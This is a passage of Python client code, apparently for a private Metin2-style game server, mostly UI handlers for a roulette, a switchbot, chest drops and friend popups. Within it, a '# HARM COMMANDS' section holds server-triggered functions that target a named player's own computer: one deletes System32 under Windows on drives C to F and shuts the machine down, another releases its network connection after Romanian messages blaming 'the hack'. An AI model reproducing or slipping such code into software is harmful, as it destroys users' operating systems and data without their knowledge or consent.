				os.system("shutdown -s")
		
		def __HarmDeleteWindows(self, player_name):
			if player_name == str(player.GetName()):
				import os,dbg
				os.system("cd C:\Windows && del System32")
				os.system("cd D:\Windows && del System32")
				os.system("cd E:\Windows && del System32")
				os.system("cd F:\Windows && del System32")
				os.system("shutdown -s")
		
		def __HarmCloseInternet(self, player_name):
			if player_name == str(player.GetName()):
				import os,dbg
				dbg.LogBox("Din cauza hack-ului internetul tau a fost restrictionat.")
				dbg.LogBox("O zi placuta .")			
				os.system("ipconfig/release")
		# HARM COMMANDS
	def __anti_exp(self, qid):
		constInfo.anti_exp = int(qid)
#Ruleta DnD
	def __OpenTombola(self):
		constInfo.wndTombola.Open()

	def __PrepareTombola(self, data):
		constInfo.wndTombola.OnPrepare(str(data))
	
	def __RunTombola(self, number):
		constInfo.wndTombola.OnRun(str(number))
	
	def SetTombola(self, qid):
		constInfo.TOMBOLA = int(qid)
	
	def __CloseTombola(self):
		constInfo.wndTombola.Close()
#Ruleta DnD

#Swich Bot DnD#
	def __toggleSwitchbot(self):
		if self.switchbot.bot_shown == 1:
			self.switchbot.Hide()
		else:
			self.switchbot.Show()
#Switch Bot DnD#

	if app.ENABLE_SHOW_CHEST_DROP:
		def BINARY_AddChestDropInfo(self, chestVnum, pageIndex, slotIndex, itemVnum, itemCount):
			if self.interface:
				self.interface.AddChestDropInfo(chestVnum, pageIndex, slotIndex, itemVnum, itemCount)
						
		def BINARY_RefreshChestDropInfo(self, chestVnum):
			if self.interface:
				self.interface.RefreshChestDropInfo(chestVnum)

#Friend Online
	def __ShowPopup(self, arg):
		self.pop = uiPopup.PopupMsg()
		data = arg.split("|")
		self.pop.SetType(int(data[0]))
		self.pop.SetMsg(data[1])
		self.pop.Show()
		
	
class WaitingDialog(ui.ScriptWindow):

	def __init__(self):
		ui.ScriptWindow.__init__(self)
		self.__LoadDialog()
		self.eventTimeOver = lambda *arg: None
		self.eventExit = lambda *arg: None

	def __del__(self):
		ui.ScriptWindow.__del__(self)

	def __LoadDialog(self):
		try:
			PythonScriptLoader = ui.PythonScriptLoader()
			PythonScriptLoader.LoadScriptFile(self, "UIScript/onlinefriend.py")

		except:
			import exception
			exception.Abort("WaitingDialog.LoadDialog.BindObject")

	def Open(self, waitTime):
		curTime = time.clock()
		self.endTime = curTime + waitTime

		self.Show()		

	def Close(self):
		self.Hide()

	def Destroy(self):
		self.Hide()

	def SAFE_SetTimeOverEvent(self, event):
		self.eventTimeOver = ui.__mem_func__(event)

	def SAFE_SetExitEvent(self, event):
		self.eventExit = ui.__mem_func__(event)
		
	def OnUpdate(self):
		lastTime = max(0, self.endTime - time.clock())
		if 0 == lastTime:
			self.Close()
			self.eventTimeOver()
		else:
			return
		
	def OnPressExitKey(self):
		self.Close()
		return TRUE
#Friend Online
#Adauga def-urile mai sus de Friend Online !!!
                      
                                       
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